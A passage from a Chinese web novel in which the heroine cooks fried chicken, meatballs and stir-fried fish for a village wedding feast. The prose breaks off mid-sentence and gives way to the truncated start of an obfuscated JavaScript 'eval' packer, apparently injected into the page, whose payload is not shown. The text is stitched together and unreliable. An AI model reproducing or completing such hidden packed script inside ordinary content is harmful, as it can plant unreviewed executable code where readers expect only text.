焕发,令游满一时看直了眼。
饶絮最后回到灶屋时已过去了半盏茶,她脸颊微红,和人对视时眼神也闪躲了下,还不自在的用手背擦了擦脸和嘴唇。
切菜腌制花去了大半时间,一切准备就绪只等下锅翻炒的时候已到了申正过两刻(四点半),只听见前面铜锣声响,唢呐也随之而起,李家所请的宾客大多已经入席就坐。
“快要拜堂了吧?”田桂花探出去窗户看了眼。
贺氏手下忙得飞起,还不忘看一眼饶絮那边的情形,“那就可以准备炒菜了,拜完堂立时就得吃上饭菜才行,否则就是失礼。”
饶絮点了点头,先腾出两口大锅来蒸肉圆,又端来拌好的鸡块,关氏的嫂子杜氏百忙之中过来灶屋走了一圈,她的身影一消失在门外,在场负责掌勺的几个人纷纷明白意思,各自将备好的肉蔬下锅。
饶絮也让烧火的婶子起了大火,热锅内倒下去大碗油,片刻后油热翻滚,她才慢慢将鸡块放入,炸到颜色稍微变得金黄后便舀出,等油热后再次下锅复炸,反复三次,鸡块彻底变得酥脆才捞出装盘,用一早准备好的醋汁葱花撒在上面,再用筷子搅拌两下即好。
贺氏在旁边闻见鸡肉香味,忍不住咽了咽口水,“没想到这鸡肉还能这么做,闻起来香得厉害。”
饶絮边放鸡块进油锅边笑,她们寻常炒菜放油放盐都得省着来,恨不得用一枚铜子沾了点油在锅里滚两圈就好,不舍得也不会这么放油,自然不会想到鸡肉还能这么做。
她捏着块刚炸好的鸡肉喂给贺氏,“伯母你尝尝,看好不好吃。”
“那我可就不客气啦。”贺氏笑眯眯的张嘴吃了口,入口先是酥脆,带着股焦香,裹着热气和葱花的鸡肉软烂的仿佛用不用咬都能咽下,醋汁又恰好中和了鸡肉微末的土腥味。
贺氏没等到咽下去就朝着饶絮点了点头,含糊着道:“好吃,比我之前吃过的鸡肉都要好吃!”
做出来的食物被人认可,饶絮心中欢喜,手底下复炸捞起的动作越发熟练,她这般重复做好了十来碗鸡肉,剩下的那些就交托给了一直看着的贺氏,她则去旁边处理鱼片。
鱼片腌制入味,也没肉圆和鸡块的流程复杂,简单下油锅爆炒片刻,再辅以葱花、姜片和茱萸,唯独需要注意的就是火气,一次不能放入太多的鱼片,未免炒得不够均匀,吃起来口感上稍有些差异。
不同于鸡块费油,肉圆费时,鱼片切得薄下锅几息就能装盘,但偏生也麻烦,饶絮离不开灶膛得一盘盘的炒。她听着外边鞭炮声响,唢呐齐鸣,小孩子欢呼雀跃的声传进来,便知道是新娘子出门拜堂了。
她们这屋里忙得都没闲心去看热闹,拜堂不过片刻工夫,随后客人都要上桌吃饭,稍慢一点都是主家的失职,也是她们的疏忽。
凉菜是最先备齐的,众人便只顾着锅里的热菜,饶絮已得了两道摆在灶边温着火,最后的鱼片也出锅了几盘,只剩最后一点,因此她很是从容淡定。
不多时前边端菜的叔伯也拿着木托盘过来,一道道热菜流水似
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};wh